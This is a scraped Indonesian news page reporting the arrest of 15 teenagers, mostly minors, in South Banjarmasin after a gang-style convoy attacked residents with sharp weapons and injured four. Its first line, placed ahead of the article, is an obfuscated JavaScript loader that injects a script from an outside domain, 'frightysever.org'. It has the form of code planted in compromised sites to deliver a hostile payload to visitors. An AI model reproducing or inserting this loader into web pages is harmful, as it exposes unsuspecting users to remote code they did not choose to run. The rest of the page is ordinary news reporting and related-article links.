(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tak belajar dari kasus 9 remaja yang diamankan karena berlagak ala gangster di Banjarmasin, kini peristiwa yang sama terulang kembali.
Sebanyak 15 remaja kembali diamankan tim Satreskrim Polresta Banjarmasin dan Polsekta Banjarmasin Selatan karena melakuan kekerasan jalanan kepada warga di wilayah Banjarmasin Selatan, Sabtu (11/11/2023) dini hari.
Dari video yang beredar luas, sejumlah remaja mengendarai sepeda motor terlibat aksi kejar-kejaran dengan warga dan polisi yang ingin mengamankan mereka karena kedapatan melukai warga. Tidak lama setelah aksi itu, polisi kemudian meringkus seluruh remaja ala gengster tersebut.
Baca juga: Jurnalis Kanalkalimantan Rendy Tisna Juara 1 KKLS 2023 BI Kalsel
Kapolsek Banjarmasin Selatan, Kompol Agus Sugianto dalam keterangan tertulis menerangkan, aksi konvoi sekompok remaja itu terjadi pada dua lokasi, yaitu Jalan Tembus Mantuil dan Simpang 4 Gerilya, Kecamatan Banjarmasin Selatan.
Sekelompok remaja tersebut pada malam itu dikatakan awalnya konvoi untuk mencari lawan dengan tujuan tawuran. Karena tak menemukan musuh, pada akhirnya mereka menyerang warga sekitar dengan senjata tajam.
“Berdasarkan keterangan para pelaku, mereka berencana melakukan aksi tawuran dengan kelompok bernama ECG, namun mereka tidak bertemu dengan kelompok tersebut,” ungkap Kompol Agus.
Baca juga: Kebakaran di Jalan Kuripan Banjarmasin, 20 Jiwa Kehilangan Tempat Berlindung
Atas kejadian penyerangan tersebut, empat orang warga mengalami luka-luka dan harus mendapatkan perawatan di rumah sakit.
Mirisnya, sebagian besar dari pelaku kelompok ala gangster yang dikatakan Kompol Agus merupakan anak di bawah umur alias belum 17 tahun.
“Sebagian besar pelaku ABH (Anak Berhadapan dengan Hukum) yang masih labil dan rawan terpengaruh pergaulan negatif,” ujarnya.
Baca juga: Jalan Masih Rusak, Begini Perjuangan Aparat Desa Lokbuntar Pasang Patok Batas Desa
Sementara pihaknya menduga motif para pelaku melakukan aksi dipicu postingan geng motor dan tawuran remaja di media sosial, serta ingin mencari eksistensi.
“Kami akan terus melakukan patroli dan razia di wilayah hukum Polsek Banjarmasin Selatan untuk mencegah terjadinya aksi anarkis serupa,” janjinya tegas. (kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More
This website uses cookies.